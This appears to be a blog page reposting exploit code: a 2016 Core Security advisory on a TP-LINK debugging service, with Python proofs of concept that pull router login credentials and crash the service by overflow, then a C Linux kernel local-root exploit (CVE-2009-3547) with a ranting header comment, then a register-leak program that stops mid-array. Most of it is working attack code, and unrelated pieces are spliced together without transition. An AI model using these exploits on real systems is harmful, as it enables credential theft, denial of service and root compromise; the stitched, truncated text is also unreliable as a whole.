Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109199

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1. Advisory Information

Title: TP-LINK TDDP Multiple Vulnerabilities
Advisory ID: CORE-2016-0007
Advisory URL: http://www.coresecurity.com/advisories/tp-link-tddp-multiple-vulnerabilities
Date published: 2016-11-21
Date of last update: 2016-11-18
Vendors contacted: TP-Link
Release mode: User release

2. Vulnerability Information

Class: Missing Authentication for Critical Function [CWE-306], Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [CWE-120]
Impact: Code execution, Information leak
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-pending-assignment-1, CVE-pending-assignment-2

3. Vulnerability Description

TP-LINK [1] ships some of their devices with a debugging protocol activated by default. This debugging protocol is listening on the 1040 UDP port on the LAN interface.

Vulnerabilities were found in the implementation of this protocol, that could lead to remote code execution and information leak (credentials acquisition).

4. Vulnerable Devices

TP-LINK WA5210g. (Firmware v1 and v2 are vulnerable)
Other devices might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

No workarounds are available for this device.

6. Credits

This vulnerability was discovered and researched by Andres Lopez Luksenberg from Core Security Exploit Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.

7. Technical Description / Proof of Concept Code

TP-LINK distributes some of their hardware with a debugging service activate by default. This program uses a custom protocol. Vulnerabilities were found using this protocol, that could lead to remote code execution or information leak.

7.1. Missing Authentication for TDDP v1

[CVE-pending-assignment-1] If version 1 is selected when communicating with the TDDP service, there is a lack of authentication in place. Additionally if the message handler accepts the "Get configuration" message type, this will result in the program leaking the web interface configuration file, which includes the web login credentials.

The following is a proof of concept to demonstrate the vulnerability (Impacket [2] is required for the PoC to work):

 
import socket
import re
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct

class TDDP(Structure):
    structure = (
       ('version','B=0x1'),
       ('type','B=0'),      
       ('code','B=0'),
       ('replyInfo','B=0'),
       ('packetLength','>L=0'),
       ('pktID','<H=1'),
       ('subType','B=0'),
       ('reserved','B=0'),
       ('payload',':=""'),       
    )
    def printPayload(self):
        print self.getPayloadAsString()
   
    def getPayloadAsString(self):
        s=''
        for i in range(len(self['payload'])):
            s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
        return s


class TDDPRequestsPacketBuilder(object):
    SET_CONFIG = 1
    GET_CONFIG = 2
    CMD_SYS0_PR = 3
    GET_SERIAL_NUMBER = 5
   
    GET_PRODUCT_ID = 10   
   
    def getRequestPacket(self):
        tddp = TDDP()
        tddp['version'] = 1
        tddp['replyInfo'] = 1       
        return tddp
   
    def getConfigPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + 'all'
        tddp['packetLength'] = len(tddp['payload'])
        return tddp

    def setConfigPacket(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.SET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + trail
        tddp['packetLength'] = len(tddp['payload'])
        return tddp
       
    def getSerialNumberPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_SERIAL_NUMBER
        return tddp

    def getProductIDPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_PRODUCT_ID
        return tddp
   
    def CMD_SYS0_PR_Packet(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.CMD_SYS0_PR
        tddp['replyInfo'] = 2
        tddp['payload'] = ('\x00'*0x10)
        tddp['packetLength'] = len(tddp['payload'])
        tddp['payload'] += trail
        return tddp
       

class TPLINKConfig(object):
    def __init__(self, aConfig):
        self.__parseConfig(aConfig)
       
    def __sanitizeKeyValue(self, k, v):
        k = k.replace("\r", "")
        k = k.replace("\n", "")
       
        v = v.replace("\r", "")
        v = v.replace("\n", "")
       
        return k,v
       
    def __parseConfig(self, aConfig):
        self.__key_order = []
        self.Header = aConfig[:0x10]
        pending = aConfig[0x10:]
        k_v = re.findall("(.*?) (.*)", pending)
       
        for k, v in k_v:
            k,v = self.__sanitizeKeyValue(k,v)
            real_value = v.split(" ")
            if len(real_value) == 1:
                real_value = real_value[0]
               
            self.__dict__[k] = real_value
            self.__key_order.append(k)
           
    def __str__(self):
        cfg = []
        cfg.append(self.Header)
       
        for k in self.__key_order:
            value = self.__dict__[k]

            if not isinstance(value, basestring):
                str_value = " ".join(value)
            else:
                str_value = value
           
            line = "%s %s" % (k, str_value)
           
            cfg.append(line)
       
       
        str_cfg =  "\r\n".join(cfg)
       
        return str_cfg
       
class TDDPSessionV1(object):
    def __init__(self, ip, port=1040):
        self.ip = ip
        self.port = port
        self.req_buidler = TDDPRequestsPacketBuilder()

    def send(self, aPacket):
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.conn.sendto(str(aPacket), (self.ip, self.port))
        self.conn.close()
       
    def recv(self, n):
        udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        udp.bind(('', 61000))
        data, addr = udp.recvfrom(n)
        return TDDP(data)
   
    def _send_and_recv(self, packet, n):
        self.send(packet)
        return self.recv(n)
   
    #####################################
    def getConfig(self):
        c_packet = self.req_buidler.getConfigPacket()
        return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
       
    def getSerialNumber(self):
        c_packet = self.req_buidler.getSerialNumberPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
       
    def getProductID(self):
        c_packet = self.req_buidler.getProductIDPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
       
    def setInitState(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
        return self._send_and_recv(c_packet, 50000)
       
    def save(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
        self._send_and_recv(c_packet, 50000)
       
    def reboot(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
        self._send_and_recv(c_packet, 50000)

    def clr_dos(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
        self._send_and_recv(c_packet, 50000)
       
    def setConfig(self, aConfig):
        c_packet = self.req_buidler.setConfigPacket(str(aConfig))
        self._send_and_recv(c_packet, 50000)
 
HOST = "192.168.1.254"

s = TDDPSessionV1(HOST)
config = s.getConfig()
print "user: ", config.lgn_usr
print "pass: ", config.lgn_pwd


 
7.2. Buffer Overflow in TDDP v1 protocol

[CVE-pending-assignment-2] A buffer overflow vulnerability was found when sending a handcrafted "set configuration" message to the TDDP service with an extensive configuration file and forcing version 1 in the packet.

The following is a proof of concept to demonstrate the vulnerability by crashing the TDDP service (Impacket [2] is required for the PoC to work). To reestablish the TDDP service the device must be restarted:

 
import socket
import re
import string 
from impacket.winregistry import hexdump
from impacket.structure import Structure
import struct


class TDDP(Structure):
    structure = (
       ('version','B=0x1'),
       ('type','B=0'),      
       ('code','B=0'),
       ('replyInfo','B=0'),
       ('packetLength','>L=0'),
       ('pktID','<H=1'),
       ('subType','B=0'),
       ('reserved','B=0'),
       ('payload',':=""'),   
    )
    def printPayload(self):
        print self.getPayloadAsString()
   
    def getPayloadAsString(self):
        s=''
        for i in range(len(self['payload'])):
            s += "%.2X" % struct.unpack("B", self['payload'][i])[0]
        return s
        
        
class TDDPRequestsPacketBuilder(object):
    SET_CONFIG = 1
    GET_CONFIG = 2
    CMD_SYS0_PR = 3
    GET_SERIAL_NUMBER = 5
   
    GET_PRODUCT_ID = 10   
   
    def getRequestPacket(self):
        tddp = TDDP()
        tddp['version'] = 1
        tddp['replyInfo'] = 1       
        return tddp
   
    def getConfigPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + 'all'
        tddp['packetLength'] = len(tddp['payload'])
        return tddp

    def setConfigPacket(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.SET_CONFIG
        tddp['payload'] = ('\x00'*0x10) + trail
        tddp['packetLength'] = len(tddp['payload'])
        return tddp
       
    def getSerialNumberPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_SERIAL_NUMBER
        return tddp

    def getProductIDPacket(self):
        tddp = self.getRequestPacket()
        tddp['type'] = self.GET_PRODUCT_ID
        return tddp
   
    def CMD_SYS0_PR_Packet(self, trail):
        tddp = self.getRequestPacket()
        tddp['type'] = self.CMD_SYS0_PR
        tddp['replyInfo'] = 2
        tddp['payload'] = ('\x00'*0x10)
        tddp['packetLength'] = len(tddp['payload'])
        tddp['payload'] += trail
        return tddp
       
       
class TPLINKConfig(object):
    def __init__(self, aConfig):
        self.__parseConfig(aConfig)
       
    def __sanitizeKeyValue(self, k, v):
        k = k.replace("\r", "")
        k = k.replace("\n", "")
       
        v = v.replace("\r", "")
        v = v.replace("\n", "")
       
        return k,v
       
    def __parseConfig(self, aConfig):
        self.__key_order = []
        self.Header = aConfig[:0x10]
        pending = aConfig[0x10:]
        k_v = re.findall("(.*?) (.*)", pending)
       
        for k, v in k_v:
            k,v = self.__sanitizeKeyValue(k,v)
            real_value = v.split(" ")
            if len(real_value) == 1:
                real_value = real_value[0]
               
            self.__dict__[k] = real_value
            self.__key_order.append(k)
           
    def __str__(self):
        cfg = []
        cfg.append(self.Header)
       
        for k in self.__key_order:
            value = self.__dict__[k]

            if not isinstance(value, basestring):
                str_value = " ".join(value)
            else:
                str_value = value
           
            line = "%s %s" % (k, str_value)
           
            cfg.append(line)
       
       
        str_cfg =  "\r\n".join(cfg)
       
        return str_cfg
        
        
class TDDPSessionV1(object):
    def __init__(self, ip, port=1040):
        self.ip = ip
        self.port = port
        self.req_buidler = TDDPRequestsPacketBuilder()

    def send(self, aPacket):
        self.conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.conn.sendto(str(aPacket), (self.ip, self.port))
        self.conn.close()
        
    def recv(self, n):
        udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        udp.bind(('', 61000))
        data, addr = udp.recvfrom(n)
        return TDDP(data)
    
    def _send_and_recv(self, packet, n):
        self.send(packet)
        return self.recv(n)
    
    #####################################
    def getConfig(self):
        c_packet = self.req_buidler.getConfigPacket()
        return TPLINKConfig(self._send_and_recv(c_packet, 50000)['payload'])
        
    def getSerialNumber(self):
        c_packet = self.req_buidler.getSerialNumberPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
        
    def getProductID(self):
        c_packet = self.req_buidler.getProductIDPacket()
        return self._send_and_recv(c_packet, 50000).getPayloadAsString()
        
    def setInitState(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("init")
        return self._send_and_recv(c_packet, 50000)
        
    def save(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("save")
        self._send_and_recv(c_packet, 50000)
        
    def reboot(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("reboot")
        self._send_and_recv(c_packet, 50000)

    def clr_dos(self):
        c_packet = self.req_buidler.CMD_SYS0_PR_Packet("clr_dos")
        self._send_and_recv(c_packet, 50000)
        
    def setConfig(self, aConfig):
        c_packet = self.req_buidler.setConfigPacket(str(aConfig))
        self._send_and_recv(c_packet, 50000)
        
        
class Exploit(TDDPSessionV1):
    def run(self):
        c_packet = self.req_buidler.getRequestPacket()
        c_packet['type'] = self.req_buidler.SET_CONFIG        
        c_packet['payload'] = "A"*325
        c_packet['packetLength'] = 0x0264           
        return self.send(c_packet)

HOST = "192.168.1.254"
PORT = 1040		
s = Exploit(HOST)
s.run()
	  
 
8. Report Timeline

2016-10-04: Core Security sent an initial notification to TP-Link.
2016-10-07: Core Security sent a second notification to TP-Link.
2016-10-31: Core Security sent a third notification to TP-Link through Twitter.
2016-11-09: Core Security sent a fourth notification to TP-Link through email and Twitter without receiving any response whatsoever.
2016-11-10: Core Security sent a request to Mitre for two CVE ID's for this advisory.
2016-11-12: Mitre replied that the vulnerabilities didn't affected products that were in the scope for CVE.
2016-11-21: Advisory CORE-2016-0007 published.
9. References

[1] http://www.tplink.com/. 
[2] https://www.coresecurity.com/corelabs-research/open-source-tools/impacket. 

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2016 Core Security and (c) 2016 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
            
/* exp_moosecox.c
   Watch a video of the exploit here:
   http://www.youtube.com/watch?v=jt81NvaOj5Y

   developed entirely by Ingo Molnar (exploit writer extraordinaire!) , 
   thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)

   dedicated to the Red Hat employees who get paid to copy+paste my 
   twitter and issue security advisories, their sweet 
   acknowledgement policy, and general classiness
   see: https://bugzilla.redhat.com/show_activity.cgi?id=530490

   "policy" aside, there's a word for what you guys are doing: "plagiarism"
   in fact, i tested this one day by posting three links to twitter,
   without any discussion on any of them.  the same day, those three
   (and only those three) links were assigned CVEs, even though two of 
   them weren't even security bugs (it doesn't pay to copy+paste)

   official Ingo Molnar (that's me) policy for acknowledgement in 
   exploits requires general douche-ness or plagiarization
   official policy further dictates immediate exploit release for
   embargoed, patched bug

   I'll be curious to see what the CVE statistics are like for the 
   kernel this year when they get compiled next year -- I'm predicting 
   that when someone's watching the sleepy watchers, a more personal 
   interest is taken in doing the job that you're paid to do correctly.

   --------------------------------------------------------------------

   Special PS note to Theo (I can do this here because I know he'll 
   never read it -- the guy is apparently oblivious to the entire world of 
   security around him -- the same world that invents the protections 
   years before him that he pats himself on the back for "innovating")
   Seriously though, it's incredible to me that an entire team 
   of developers whose sole purpose is to develop a secure operating 
   system can be so oblivious to the rest of the world.  They haven't 
   innovated since they replaced exploitable string copies with 
   exploitable string truncations 6 or so years ago.

   The entire joke of a thread can be read here:
   http://www.pubbs.net/openbsd/200911/4582/
   "Our focus therefore is always on finding innovative ideas which make 
    bugs very hard to exploit succesfully."
   "He's too busy watching monkey porn instead of
    building researching last-year's security technology that will stop 
    an exploit technique that has been exploited multiple times."
   "it seems that everyone else is slowly coming around to the
    same solution."

   So let's talk about this "innovation" of theirs with their 
   implementation of mmap_min_addr:

   They implemented it in 2008, a year after Linux implemented it, a 
   year after the public phrack article on the bug class, more than a 
   year after my mail to dailydave with the first public Linux kernel 
   exploit for the bug class, and over two years after UDEREF was 
   implemented in PaX (providing complete protection against the smaller 
   subset of null ptr dereference bugs and the larger class of invalid 
   userland access in general).

   OpenBSD had a public null pointer dereference exploit (agp_ioctl()) 
   published for its OS in January of 2007.  It took them over a year 
   and a half to implement the same feature that was implemented in 
   Linux a few months after my public exploit in 2007.

   So how can it be that "everyone else is slowly coming around to the 
   same solution"  when "everyone else" came to that solution over a 
   year before you Theo?  In fact, I prediced this exact situation would 
   happen back in 2007 in my DD post:
   http://lists.virus.org/dailydave-0703/msg00011.html
   "Expect OpenBSD to independently invent a protection against null ptr 
    deref bugs sometime in 2009."

   Let's talk about some more "innovation" -- position independent 
   executables.  PaX implemented position independent executables on 
   Linux back in 2001 (ET_DYN).  PIE binary support was added to GNU 
   binutils in 2003.  Those OpenBSD innovators implemented PIE binaries 
   in 2008, 7 years after PaX.  Innovation indeed!

   How about their W^X/ASLR innovation?  These plagiarists have the 
   audacity to announce on their press page:
   http://www.openbsd.org/press.html
   "Microsoft borrows one of OpenBSD's security features for Vista, 
    stack/library randomization, under the name Address Space Layout 
    Randomization (ASLR).  "Until now, the feature has been most 
    prominently used in the OpenBSD Unix variant and the PaX and Exec 
    Shield security patches for Linux""
   Borrowing one of your features?  Where'd this ASLR acronym come from 
   anyway?  Oh that's right, PaX again -- when they published the first 
   design and implementation of it, and coined the term, in July 2001.
   It covered the heap, mmap, and stack areas.
   OpenBSD implemented "stack-gap randomization" in 2003.  Way to 
   innovate!

   W^X, which is a horrible name as OpenBSD doesn't even enforce it with 
   mprotect restrictions like PaX did from the beginning or even SELinux 
   is doing now (from a 3rd party contribution modeled after PaX): 
   PaX implemented true per-page non-executable page support, protecting 
   binary data, the heap, and the stack, back in 2000.
   OpenBSD implemented it in 2003, requiring a full userland rebuild.
   The innovation is overwhelming!

   They keep coming up with the same exact "innovations" others came up 
   with years before them.  Their official explanation for where they 
   got the W^X/ASLR ideas was a drunk guy came into their tent at one of 
   their hack-a-thons and started talking about the idea.  They had 
   never heard of PaX when we asked them in 2003.  Which makes the 
   following involuntarily contributed private ICB logs from Phrack #66
   (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:

   On some sunny day in July 2002 (t: Theo de Raadt):
   <cloder> why can't you just randomize the base
   <cloder> that's what PaX does
   <t> You've not been paying attention to what art's saying, or you don't 
    understand yet, either case is one of think it through yourself.
   <cloder> whatever

   Only to see poetic justice in August 2003 (ttt: Theo again):

   <miod> more exactly, we heard of pax when they started bitching
   <ttt> miod, that was very well spoken.

   That wraps up our OpenBSD history lesson, in case anyone forgot it.
   PS -- enjoy that null ptr deref exploit just released for OpenBSD.

   --------------------------------------------------------------------

   Important final exploit notes:

   don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
   or DEBUG_SPINLOCK are enabled and modify the structures below 
   accordingly -- a fancier exploit would do this automatically

   I've broken the 2.4->2.6.10 version of the exploit and would like to see 
   someone fix it ;)  See below for more comments on this.
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"

int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;

int go_go_speed_racer(void *unused)
{
    int ret;

        while(!exp_state->got_ring0) {
        /* bust spinlock */
        *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
                ret = pipe(pipefd);
        if (!ret) {
                    close(pipefd[0]);
                    close(pipefd[1]);
        }
        }

    return 0;
}

/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
        char *stack = malloc(0x4000);
        int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
        if (tid < 0) {
                printf("can't create thread\n");
                exit(1);
        }
    sleep(1);
        return tid;
}

char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";

#define PIPE_BUFFERS 16

/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
    int can_merge;
    void *map;
    void *unmap;
    void *confirm;
    void *release;
    void *steal;
    void *get;
};

struct pipe_buffer2620ornewer {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buffer2619orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
};

struct pipe_buffer2616orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
};

struct pipe_inode_info2620ornewer {
    unsigned int spinlock;
    /*
    // LOCKBREAK
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    void *tmp_page;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
    struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};

struct pipe_inode_info2619orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
};

struct pipe_inode_info2616orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    */
    void *owner;
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
};

struct fasync_struct {
    int magic;
    int fa_fd;
    struct fasync_struct *fa_next;
    void *file;
};

struct pipe_inode_info2610orolder {
    /* this includes 2.4 kernels */
    unsigned long lock; // can be rw or spin
    void *next, *prev;
    char *base;
    unsigned int len;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    /* 2.4 only */
    unsigned int waiting_readers;

    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    /* 2.6 only */
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
};

int prepare(unsigned char *buf)
{    
    struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
    struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
    struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
    struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
    struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
    int i;
    int newver;
    struct utsname unm;

    i = uname(&unm);
    if (i != 0) {
        printf("unable to get kernel version\n");
        exit(1);
    }

    if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
        newver = 3;
    } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
        newver = 2;
    } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
        fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
        newver = 1;
//    } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
//        is_old_kernel = 1;
//        newver = 0;
    } else {
        fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit.  Write it yourself.\n");
        exit(1);
    }

    /* for most of these what will happen is our write will
       cause ops->confirm(/pin) to be called, which we've replaced
       with own_the_kernel
       for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
       called instead (repeatedly) is the release op
    */
    if (newver == 3) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_new->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_new->next = &info_new->next;
        info_new->readers = 1;
        info_new->writers = 1;
        info_new->nrbufs = 1;
        info_new->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_new->bufs[i].ops = (void *)ops;
    } else if (newver == 2) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_old->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_old->next = &info_old->next;
        info_old->readers = 1;
        info_old->writers = 1;
        info_old->nrbufs = 1;
        info_old->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_old->bufs[i].ops = (void *)ops;
    } else if (newver == 1) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_older->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_older->next = &info_older->next;
        info_older->readers = 1;
        info_older->writers = 1;
        info_older->nrbufs = 1;
        info_older->curbuf = 1;
        /* we'll get called multiple times from free_pipe_info
           but it's ok because own_the_kernel handles this case
        */
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_older->bufs[i].ops = (void *)ops;
    } else {
        /*
        different ballgame here, instead of being able to 
        provide a function pointer in the ops table, you 
        control a base address used to compute the address for 
        a copy into the kernel via copy_from_user.  The 
        following should get you started.
        */
        /* lookup symbol for writable fptr then trigger it later
           change the main write in the one thread to write out 
           pointers with the value of exp_state->exploit_kernel
        */
        info_oldest->base = (char *)0xc8000000;
        info_oldest->readers = 1;
        info_oldest->writers = 1;
        return 0;
    }

    ops->can_merge = 1;
    for (i = 0; i < 16; i++)
        ((void **)&ops->map)[i] = exp_state->own_the_kernel;

    return 0;
}

int requires_null_page = 1;

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

int trigger(void)
{
        char buf[128];
        int fd;
    int i = 0;

    /* ignore sigpipe so we don't bail out early */
    signal(SIGPIPE, SIG_IGN);

    start_thread(go_go_speed_racer, NULL);

    fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
    fflush(stdout);

        while (!exp_state->got_ring0 && i < 10000000) {
        fd = pipefd[1];
        sprintf(buf, "/proc/self/fd/%d", fd);
        fd = open(buf, O_WRONLY | O_NONBLOCK);
        if (fd >= 0) {
            /* bust spinlock */
            *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
            write(fd, ".", 1);
            close(fd);
        }
        i++;
        }

    if (!exp_state->got_ring0) {
        fprintf(stdout, " [+] Failed to trigger the vulnerability.  Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
        return 0;
    }

    return 1;
}

int post(void)
{
//    return RUN_ROOTSHELL;
    return FUNNY_PIC_AND_ROOTSHELL;
}
            
/* written by Ingo Molnar -- it's true because this comment says the exploit
   was written by him!
*/

#include <stdio.h>
#include <sys/syscall.h>

unsigned int _r81;
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;

int leak_it(void)
{
	asm volatile (
	".intel_syntax noprefix\n"
	".code32\n"
	"jmp label1\n"
	"farcalllabel1:\n"
	".code64\n"
	"mov eax, r8d\n"
	"shr r8, 32\n"
	"mov ebx, r8d\n"
	"mov ecx, r9d\n"
	"shr r9, 32\n"
	"mov edx, r9d\n"
	"mov esi, r10d\n"
	"shr r10, 32\n"
	"mov edi, r10d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel2:\n"
	"mov eax, r11d\n"
	"shr r11, 32\n"
	"mov ebx, r11d\n"
	"mov ecx, r12d\n"
	"shr r12, 32\n"
	"mov edx, r12d\n"
	"mov esi, r13d\n"
	"shr r13, 32\n"
	"mov edi, r13d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel3:\n"
	"mov eax, r14d\n"
	"shr r14, 32\n"
	"mov ebx, r14d\n"
	"mov ecx, r15d\n"
	"shr r15, 32\n"
	"mov edx, r15d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	".code32\n"
	"label1:\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel1\n"
	".intel_syntax noprefix\n"
	"mov _r81, eax\n"
	"mov _r82, ebx\n"
	"mov _r91, ecx\n"
	"mov _r92, edx\n"
	"mov _r101, esi\n"
	"mov _r102, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel2\n"
	".intel_syntax noprefix\n"
	"mov _r111, eax\n"
	"mov _r112, ebx\n"
	"mov _r121, ecx\n"
	"mov _r122, edx\n"
	"mov _r131, esi\n"
	"mov _r132, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel3\n"
	".intel_syntax noprefix\n"
	"mov _r141, eax\n"
	"mov _r142, ebx\n"
	"mov _r151, ecx\n"
	"mov _r152, edx\n"
	".att_syntax noprefix\n"
	);

	printf(" R8=%08x%08x\n", _r82, _r81);
	printf(" R9=%08x%08x\n", _r92, _r91);
	printf("R10=%08x%08x\n", _r102, _r101);
	printf("R11=%08x%08x\n", _r112, _r111);
	printf("R12=%08x%08x\n", _r122, _r121);
	printf("R13=%08x%08x\n", _r132, _r131);
	printf("R14=%08x%08x\n", _r142, _r141);
	printf("R15=%08x%08x\n", _r152, _r151);
	return 0;
}

/* ripped from jon oberheide */
const int randcalls[] = {
	__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
	__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
	__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
	__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
